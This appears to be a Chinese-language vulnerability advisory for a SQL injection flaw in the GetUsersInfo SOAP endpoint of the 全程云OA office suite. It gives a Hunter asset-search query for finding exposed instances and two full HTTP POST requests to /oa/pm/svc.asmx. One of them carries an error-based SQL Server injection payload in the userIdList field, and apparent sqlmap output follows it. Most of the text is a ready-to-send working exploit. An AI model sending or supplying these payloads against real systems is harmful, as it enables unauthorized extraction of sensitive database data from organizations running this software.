全程云OA GetUsersInfo存在SQL注入漏洞
一、漏洞简介
全程云OA是一种一体化协同办公软件，旨在为企业内部协同办公管理提供高效的软件解决方案。它以公文流管理为核心，将企业日常公文数据在信息数据链上及时、准确地反映出来，为部门人员提供简单快捷的日常办公支持，为部门经理和决策者提供企业内部资源数据支持，全程云OA GetUsersInfo存在SQL注入漏洞，攻击者可通过该漏洞获取数据库敏感信息。
二、影响版本
- 全程云OA
三、资产测绘
- hunter
app.name=="全程 OA" - 特征
四、漏洞复现
POST /oa/pm/svc.asmx HTTP/1.1
Cookie: ASP.NET_SessionId=l4j5cieqfhdtrjdrckrz5lau
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:120.0) Gecko/20100101 Firefox/120.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1
Te: trailers
Connection: close
SOAPAction: http://tempuri.org/GetUsersInfo
Content-Type: text/xml;charset=UTF-8
Host: {hostname}
Content-Length: 504
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:tem="http://tempuri.org/">
<soapenv:Header/>
<soapenv:Body>
<tem:GetUsersInfo>
<!--type: string-->
<tem:userIdList>(CONVERT(INT,(SELECT CHAR(113)+CHAR(106)+CHAR(106)+CHAR(98)+CHAR(113)+(SELECT (CASE WHEN (1177=1177) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(118)+CHAR(113)+CHAR(106)+CHAR(113))))</tem:userIdList>
</tem:GetUsersInfo>
</soapenv:Body>
</soapenv:Envelope>
qjjbq1qvqjqsqlmap
POST /oa/pm/svc.asmx HTTP/1.1
Cookie: ASP.NET_SessionId=l4j5cieqfhdtrjdrckrz5lau
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:120.0) Gecko/20100101 Firefox/120.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1
Te: trailers
Connection: close
SOAPAction: http://tempuri.org/GetUsersInfo
Content-Type: text/xml;charset=UTF-8
Host: {hostname}
Content-Length: 316
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:tem="http://tempuri.org/">
<soapenv:Header/>
<soapenv:Body>
<tem:GetUsersInfo>
<!--type: string-->
<tem:userIdList>gero et</tem:userIdList>
</tem:GetUsersInfo>
</soapenv:Body>
</soapenv:Envelope>